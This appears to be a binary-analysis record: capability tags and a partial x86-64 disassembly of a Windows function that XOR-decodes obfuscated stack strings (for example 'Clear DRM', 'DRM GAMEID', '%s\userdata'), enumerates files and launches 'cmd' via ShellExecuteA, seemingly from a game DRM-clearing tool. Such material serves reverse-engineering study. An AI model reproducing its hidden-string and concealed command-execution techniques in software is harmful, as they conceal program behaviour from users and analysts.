Function at 0x14006f490
Capabilities:
Contain obfuscated stackstrings
Create directory
Create process on windows
Encode data using xor
Enumerate files on windows
Set file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x748]
sub rsp, 0x820
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
movaps xmmword [rax - 0xb8], xmm14
mov rax, qword [0x1400d6040]
xor rax, rsp
mov qword [rbp + 0x680], rax
xor ebx, ebx
mov dword [rbp + 0x130], 0x20677542
mov dword [rbp + 0x134], 0x69786946
mov word [rbp + 0x138], 0x676e
mov byte [rbp + 0x13a], bl
mov dword [rsp + 0x50], 0x93f7c896
mov dword [rsp + 0x54], 0xc59dc0cf
mov dword [rsp + 0x58], 0xf3d999d5
mov byte [rsp + 0x5c], 0x7f
movdqa xmm7, xmmword [0x1400c4f70]
mov eax, ebx
movdqa xmm9, xmmword [0x1400c5a80]
movdqa xmmword [rbp], xmm9
lea rcx, [rsp + 0x50]
movdqa xmm6, xmmword [0x1400c4ff0]
mov edx, dword [rbp]
nop dword [rax]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add eax, 4
lea rcx, [rcx + 4]
cmp eax, 0xc
jb 0x14006f570
mov byte [rsp + 0x5c], bl
mov eax, ebx
cmp dword [0x1400d6e48], 1
sete al
mov dword [0x1400d6d70], eax
lea rcx, [rsp + 0x50]
lea rax, [rbp + 0x130]
cmovne rcx, rax
call fcn.14003e660
mov rax, qword [0x1400d8e10]
mov rax, qword [rax + 0x3fe0]
cmp byte [rax + 0xd0], bl
jne 0x14006f5fa
mov eax, dword [rax + 0x1d4]
neg eax
sbb ecx, ecx
add ecx, 6
call fcn.140040b40
movss xmm0, dword [0x1400c4de4]
call fcn.140013de0
mov dword [rbp + 0x130], 0x204d5244
mov dword [rbp + 0x134], 0x454d4147
mov word [rbp + 0x138], 0x4449
mov byte [rbp + 0x13a], bl
movdqa xmm1, xmmword [0x1400c5250]
movdqu xmmword [rbp - 0x70], xmm1
mov dword [rbp - 0x60], 0x60032b66
mov dword [rbp - 0x5c], 0x26f303f
mov dword [rbp - 0x58], 0x8ec9c504
mov eax, dword [0x1400c4e80]
movd xmm8, eax
movd edi, xmm9
movd xmm0, edi
paddb xmm8, xmm0
movd eax, xmm1
movd xmm0, eax
xorps xmm0, xmm8
movd dword [rbp - 0x70], xmm0
mov eax, dword [0x1400c4e90]
movd xmm9, eax
movd xmm0, edi
paddb xmm9, xmm0
movd xmm0, dword [rbp - 0x6c]
xorps xmm0, xmm9
movd dword [rbp - 0x6c], xmm0
mov eax, dword [str._b_t_n_v]
movd xmm10, eax
movd xmm0, edi
paddb xmm10, xmm0
movd xmm0, dword [rbp - 0x68]
xorps xmm0, xmm10
movd dword [rbp - 0x68], xmm0
mov eax, dword [0x1400c4eb0]
movd xmm11, eax
movd xmm0, edi
paddb xmm11, xmm0
movd xmm0, dword [rbp - 0x64]
xorps xmm0, xmm11
movd dword [rbp - 0x64], xmm0
mov r15d, 0x10
mov ecx, r15d
lea rdx, [rbp - 0x60]
nop dword [rax]
lea eax, [rcx + 0x73]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x1b
jb 0x14006f6f0
mov byte [rbp - 0x55], bl
lea rdx, [rbp - 0x70]
lea rax, [rbp + 0x130]
cmp dword [0x1400d6e48], 1
cmovne rdx, rax
mov dword [rbp + 0xf0], 0x65522323
mov dword [rbp + 0xf4], 0x72696150
mov word [rbp + 0xf8], 0x4449
mov byte [rbp + 0xfa], bl
mov dword [rsp + 0x50], 0xbfe42323
mov dword [rsp + 0x54], 0x8da4e5ae
mov word [rsp + 0x58], 0x4449
mov byte [rsp + 0x5a], bl
mov eax, ebx
sete al
mov dword [0x1400d6d70], eax
lea rcx, [rsp + 0x50]
lea rax, [rbp + 0xf0]
cmovne rcx, rax
mov qword [rbp + 0x100], rbx
mov qword [rsp + 0x38], rbx
lea rax, [0x140065050]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x200
lea rax, [rbp + 0x100]
mov qword [rsp + 0x20], rax
mov r9d, 0x104
lea r8, [0x1400d90a0]
call fcn.140044340
mov rcx, qword [0x1400d8e10]
mov rax, qword [rcx + 0x3fe0]
mov byte [rax + 0xcd], 1
mov r8, qword [rcx + 0x3fe0]
movsxd rdx, dword [r8 + 0x1e8]
mov rax, qword [r8 + 0x1f0]
mov ecx, dword [rax + rdx*4 - 4]
mov dword [r8 + 0x1dc], ecx
lea eax, [rdx - 1]
mov dword [r8 + 0x1e8], eax
movss xmm1, dword [0x1400c4e50]
xorps xmm0, xmm0
call fcn.140013d30
mov dword [rbp + 0x100], 0x42f00000
mov dword [rbp + 0x104], 0x41c80000
mov dword [rbp + 0x130], 0x61656c43
mov dword [rbp + 0x134], 0x52442072
mov word [rbp + 0x138], 0x4d
movdqa xmm0, xmmword [0x1400c5080]
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x10], 0x863f2d64
movd r12d, xmm8
mov dword [rbp - 0x80], r12d
movd xmm1, r12d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x20], xmm1
movd eax, xmm9
mov dword [rbp - 0x30], eax
movd xmm1, eax
movd xmm0, dword [rbp - 0x1c]
xorps xmm1, xmm0
movd dword [rbp - 0x1c], xmm1
movd eax, xmm10
mov dword [rbp - 0x50], eax
movd xmm1, eax
movd xmm0, dword [rbp - 0x18]
xorps xmm1, xmm0
movd dword [rbp - 0x18], xmm1
movd eax, xmm11
mov dword [rbp - 0x40], eax
movd xmm1, eax
movd xmm0, dword [rbp - 0x14]
xorps xmm1, xmm0
movd dword [rbp - 0x14], xmm1
mov ecx, r15d
lea rdx, [rbp - 0x10]
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x73]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x13
jb 0x14006f8c0
mov byte [rbp - 0xd], bl
mov eax, ebx
cmp dword [0x1400d6e48], 1
sete al
mov dword [0x1400d6d70], eax
lea rcx, [rbp - 0x20]
lea rax, [rbp + 0x130]
cmovne rcx, rax
lea rdx, [rbp + 0x100]
call fcn.14003f080
mov rsi, 0xffffffffffffffff
mov r13d, 8
lea r14, [0x1400d6e28]
movdqa xmm9, xmmword [0x1400c5ca0]
test al, al
je 0x140070e07
mov r8, rsi
lea rcx, [0x1400d90a0]
nop
inc r8
cmp byte [rcx + r8], bl
jne 0x14006f930
cmp r8, 1
jbe 0x1400709d3
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], rbx
mov rdx, rcx
lea rcx, [rbp - 0x70]
call fcn.14007e720
lea rcx, [rbp - 0x70]
call fcn.1400639d0
test al, al
jne 0x14006fd2f
lea rax, [rbp - 0x70]
mov qword [rsp + 0x50], rax
movdqa xmm0, xmmword [0x1400c5cf0]
movdqu xmmword [rbp + 0x20], xmm0
movdqa xmm1, xmmword [0x1400c5e10]
movdqu xmmword [rbp + 0x30], xmm1
mov dword [rbp + 0x40], 0xb6e1fbfd
mov dword [rbp + 0x44], 0xeeeaf6fe
mov dword [rbp + 0x48], 0xfbf1f0fa
mov word [rbp + 0x4c], 0x81fb
mov byte [rbp + 0x4e], 0xa1
mov r9d, ebx
mov r10d, r13d
lea r11, [rbp + 0x28]
nop dword [rax + rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, r15d
add r10d, r15d
lea r11, [r11 + 0x10]
cmp r10d, 0x28
jb 0x14006f9c0
cmp r9d, 0x2e
jae 0x14006faf3
mov eax, r9d
lea rcx, [rbp + 0x20]
add rcx, rax
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x2e
jb 0x14006fae0
mov byte [rbp + 0x4e], bl
movdqa xmm0, xmmword [0x1400c5210]
movdqu xmmword [rbp + 0x150], xmm0
movdqa xmm1, xmmword [0x1400c51f0]
movdqu xmmword [rbp + 0x160], xmm1
mov word [rbp + 0x170], 0x94b2
mov r9d, ebx
mov r10d, r13d
lea r11, [rbp + 0x158]
nop dword [rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, r15d
add r10d, r15d
lea r11, [r11 + 0x10]
cmp r10d, 0x28
jb 0x14006fb30
cmp r9d, 0x21
jae 0x14006fc66
mov eax, r9d
lea rcx, [rbp + 0x150]
add rcx, rax
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x21
jb 0x14006fc53
mov byte [rbp + 0x171], bl
mov eax, ebx
cmp dword [0x1400d6e48], 1
sete al
mov dword [0x1400d6d70], eax
lea rdx, [rbp + 0x150]
lea rax, [rbp + 0x20]
cmovne rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], rbx
mov r8, rsi
nop
inc r8
cmp byte [rdx + r8], bl
jne 0x14006fca0
lea rcx, [rbp - 0x70]
call fcn.14007e720
nop
mov dword [rbp + 0xf0], 0x6f727245
mov word [rbp + 0xf4], 0x72
mov dword [rsp + 0x40], 0xe89994e9
mov word [rsp + 0x44], 0xafaf
mov byte [rsp + 0x46], 0
mov eax, ebx
cmp dword [0x1400d6e48], 1
sete al
mov dword [0x1400d6d70], eax
lea rdx, [rsp + 0x40]
lea rax, [rbp + 0xf0]
cmovne rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], rbx
mov qword [rbp + 0x120], rbx
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14006fd20
jmp 0x140070dea
mov r9, r14
cmp qword [0x1400d6e40], 0xf
cmova r9, qword [0x1400d6e28]
mov dword [rsp + 0x50], 0x755c7325
mov dword [rsp + 0x54], 0x64726573
mov dword [rsp + 0x58], 0x617461
lea r8, [rsp + 0x50]
mov edx, 0x104
lea rcx, [rbp + 0x570]
call fcn.14004ac80
xor edx, edx
lea rcx, [rbp + 0x570]
call fcn.1400936b4
test eax, eax
je 0x14007019f
lea rax, [rbp - 0x70]
mov qword [rsp + 0x50], rax
movdqa xmm0, xmmword [0x1400c63d0]
movdqu xmmword [rbp + 0x350], xmm0
movdqa xmm1, xmmword [0x1400c6210]
movdqu xmmword [rbp + 0x360], xmm1
movdqa xmm0, xmmword [0x1400c6010]
movdqu xmmword [rbp + 0x370], xmm0
movdqa xmm1, xmmword [0x1400c5c00]
movdqu xmmword [rbp + 0x380], xmm1
movdqa xmm0, xmmword [0x1400c5d60]
movdqu xmmword [rbp + 0x390], xmm0
mov word [rbp + 0x3a0], 0xc4e2
mov r9d, ebx
mov r10d, r13d
lea r11, [rbp + 0x358]
nop word [rax + rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, r15d
add r10d, r15d
lea r11, [r11 + 0x10]
cmp r10d, 0x58
jb 0x14006fe00
cmp r9d, 0x51
jae 0x14006ff36
mov eax, r9d
lea rcx, [rbp + 0x350]
add rcx, rax
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x51
jb 0x14006ff23
mov byte [rbp + 0x3a1], bl
movdqa xmm0, xmmword [0x1400c5340]
movdqu xmmword [rbp + 0x150], xmm0
movdqa xmm1, xmmword [0x1400c5190]
movdqu xmmword [rbp + 0x160], xmm1
movdqa xmm0, xmmword [0x1400c52e0]
movdqu xmmword [rbp + 0x170], xmm0
mov dword [rbp + 0x180], 0x87391947
mov byte [rbp + 0x184], 0xa7
mov r9d, ebx
mov r10d, r13d
lea r11, [rbp + 0x158]
nop word [rax + rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, r15d
add r10d, r15d
lea r11, [r11 + 0x10]
cmp r10d, 0x38
jb 0x14006ff90
cmp r9d, 0x34
jae 0x1400700c6
mov eax, r9d
lea rcx, [rbp + 0x150]
add rcx, rax
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x34
jb 0x1400700b3
mov byte [rbp + 0x184], bl
mov eax, ebx
cmp dword [0x1400d6e48], 1
sete al
mov dword [0x1400d6d70], eax
lea rdx, [rbp + 0x150]
lea rax, [rbp + 0x350]
cmovne rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], rbx
mov r8, rsi
inc r8
cmp byte [rdx + r8], bl
jne 0x140070102
lea rcx, [rbp - 0x70]
call fcn.14007e720
nop
mov dword [rsp + 0x40], 0x5051d27
movd xmm1, r12d
movd xmm0, dword [rsp + 0x40]
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
mov byte [rsp + 0x44], 0
mov dword [rbp + 0xf0], 0xe7908fe6
mov word [rbp + 0xf4], 0xbaa4
mov byte [rbp + 0xf6], 0
mov eax, ebx
cmp dword [0x1400d6e48], 1
sete al
mov dword [0x1400d6d70], eax
lea rdx, [rbp + 0xf0]
lea rax, [rsp + 0x40]
cmovne rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], rbx
mov qword [rbp + 0x120], rbx
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140070190
jmp 0x140070dea
mov r9, r14
cmp qword [0x1400d6e40], 0xf
cmova r9, qword [0x1400d6e28]
movdqa xmm0, xmmword [0x1400c5b30]
movdqu xmmword [rsp + 0x50], xmm0
mov ecx, ebx
lea rax, [rsp + 0x50]
nop word [rax + rax]
movd xmm1, ecx
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
add ecx, 4
lea rax, [rax + 4]
cmp ecx, 0xc
jb 0x1400701d0
cmp ecx, 0xf
jae 0x140070230
mov eax, ecx
lea rdx, [rsp + 0x50]
add rdx, rax
nop word [rax + rax]
lea eax, [rcx + 0x73]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0xf
jb 0x140070220
mov byte [rsp + 0x5f], bl
lea r8, [rsp + 0x50]
mov edx, 0x104
lea rcx, [rbp + 0x570]
call fcn.14004ac80
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x570]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r14, rax
cmp rax, rsi
je 0x140070579
movdqa xmm8, xmmword [0x1400c5d20]
cmp byte [rbp + 0x23c], 0x2e
je 0x140070561
lea r9, [0x1400d6e28]
cmp qword [0x1400d6e40], 0xf
cmova r9, qword [0x1400d6e28]
movdqu xmmword [rsp + 0x50], xmm8
mov byte [rsp + 0x60], 0xf0
movd xmm1, r12d
movd eax, xmm8
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x50], xmm1
movd xmm1, dword [rbp - 0x30]
movd xmm0, dword [rsp + 0x54]
xorps xmm1, xmm0
movd dword [rsp + 0x54], xmm1
movd xmm2, dword [rbp - 0x50]
movd xmm0, dword [rsp + 0x58]
xorps xmm2, xmm0
movd dword [rsp + 0x58], xmm2
movd xmm1, dword [rbp - 0x40]
movd xmm0, dword [rsp + 0x5c]
xorps xmm1, xmm0
movd dword [rsp + 0x5c], xmm1
mov word [rsp + 0x60], 0x73
lea rax, [0x1400d90a0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x23c]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x50]
mov edx, 0x104
lea rcx, [rbp + 0x460]
call fcn.14004ac80
xor edx, edx
lea rcx, [rbp + 0x460]
call fcn.1400936b4
test eax, eax
jne 0x140070561
lea rax, [rbp + 0x460]
mov qword [rbp + 0x50], rax
lea rcx, [rbp + 0x460]
mov rax, rsi
inc rax
cmp byte [rcx + rax], 0
jne 0x140070356
mov qword [rbp + 0x58], rax
call fcn.140081158
movaps xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rbp - 0x70]
call fcn.14004bbc0
nop
mov qword [rbp + 0xf0], rbx
lea rax, str._L_f_
mov qword [rbp + 0xf8], rax
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rcx, qword [rbp - 0x70]
call fcn.1400816d0
mov rdx, rax
shr rdx, 0x20
movzx ecx, al
mov qword [rbp + 0x100], rcx
mov dword [rbp], edx
lea rax, str._L_f_
mov qword [rbp + 8], rax
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0xf0], xmm0
cmp edx, 0x91
jne 0x1400703f5
lea r8, [rbp + 0x100]
lea rdx, [rbp + 0xf0]
lea rcx, [rbp - 0x70]
call fcn.14004d060
cmp dword [rbp + 0xf0], 0
jne 0x14007428d
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x140070442
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007043d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140074287
call fcn.140080604
xor edx, edx
lea rcx, [rbp + 0x460]
call fcn.1400936b4
test eax, eax
jne 0x140070561
movdqu xmmword [rbp + 0x108], xmm9
mov dword [rbp + 0x118], 0xa4a5d5ac
mov dword [rbp + 0x11c], 0x8aabfba2
movd xmm1, r12d
movd eax, xmm9
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x108], xmm1
movd xmm1, dword [rbp - 0x30]
movd xmm0, dword [rbp + 0x10c]
xorps xmm1, xmm0
movd dword [rbp + 0x10c], xmm1
movd xmm2, dword [rbp - 0x50]
movd xmm0, dword [rbp + 0x110]
xorps xmm2, xmm0
movd dword [rbp + 0x110], xmm2
movd xmm1, dword [rbp - 0x40]
movd xmm0, dword [rbp + 0x114]
xorps xmm1, xmm0
movd dword [rbp + 0x114], xmm1
mov ecx, r15d
lea rdx, [rbp + 0x118]
lea eax, [rcx + 0x73]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x17
jb 0x1400704e0
mov byte [rbp + 0x11f], 0
lea r9, [rbp + 0x460]
lea r8, [rbp + 0x108]
mov edx, 0x104
lea rcx, [rbp + 0x350]
call fcn.14004ac80
mov dword [rsp + 0x70], 0x646d63
mov dword [rsp + 0x40], 0x1810041c
movd xmm1, r12d
movd xmm0, dword [rsp + 0x40]
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
mov byte [rsp + 0x44], 0
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x350]
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, [rbp + 0x210]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140070273
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x50], rax
movdqa xmm0, xmmword [0x1400c6750]
movdqu xmmword [rbp + 0x350], xmm0
movdqa xmm1, xmmword [0x1400c6200]
movdqu xmmword [rbp + 0x360], xmm1
movdqa xmm0, xmmword [0x1400c6010]
movdqu xmmword [rbp + 0x370], xmm0
movdqa xmm1, xmmword [0x1400c5c00]
movdqu xmmword [rbp + 0x380], xmm1
movdqa xmm0, xmmword [0x1400c5d60]
movdqu xmmword [rbp + 0x390], xmm0
mov word [rbp + 0x3a0], 0xc4e2
mov r9d, ebx
mov r10d, r13d
lea r11, [rbp + 0x358]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, 0x10
add r10d, 0x10
lea r11, [r11 + 0x10]
cmp r10d, 0x58
jb 0x1400705f1
cmp r9d, 0x51
jae 0x140070733
mov eax, r9d
lea rcx, [rbp + 0x350]
add rcx, rax
nop word [rax + rax]
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x51
jb 0x140070720
mov byte [rbp + 0x3a1], 0
movdqa xmm0, xmmword [0x1400c5330]
movdqu xmmword [rbp + 0x150], xmm0
movdqa xmm1, xmmword [0x1400c5190]
movdqu xmmword [rbp + 0x160], xmm1
movdqa xmm0, xmmword [0x1400c52e0]
movdqu xmmword [rbp + 0x170], xmm0
mov dword [rbp + 0x180], 0x87391947
mov byte [rbp + 0x184], 0xa7
mov r9d, ebx
mov r10d, r13d
lea r11, [rbp + 0x158]
nop dword [rax + rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
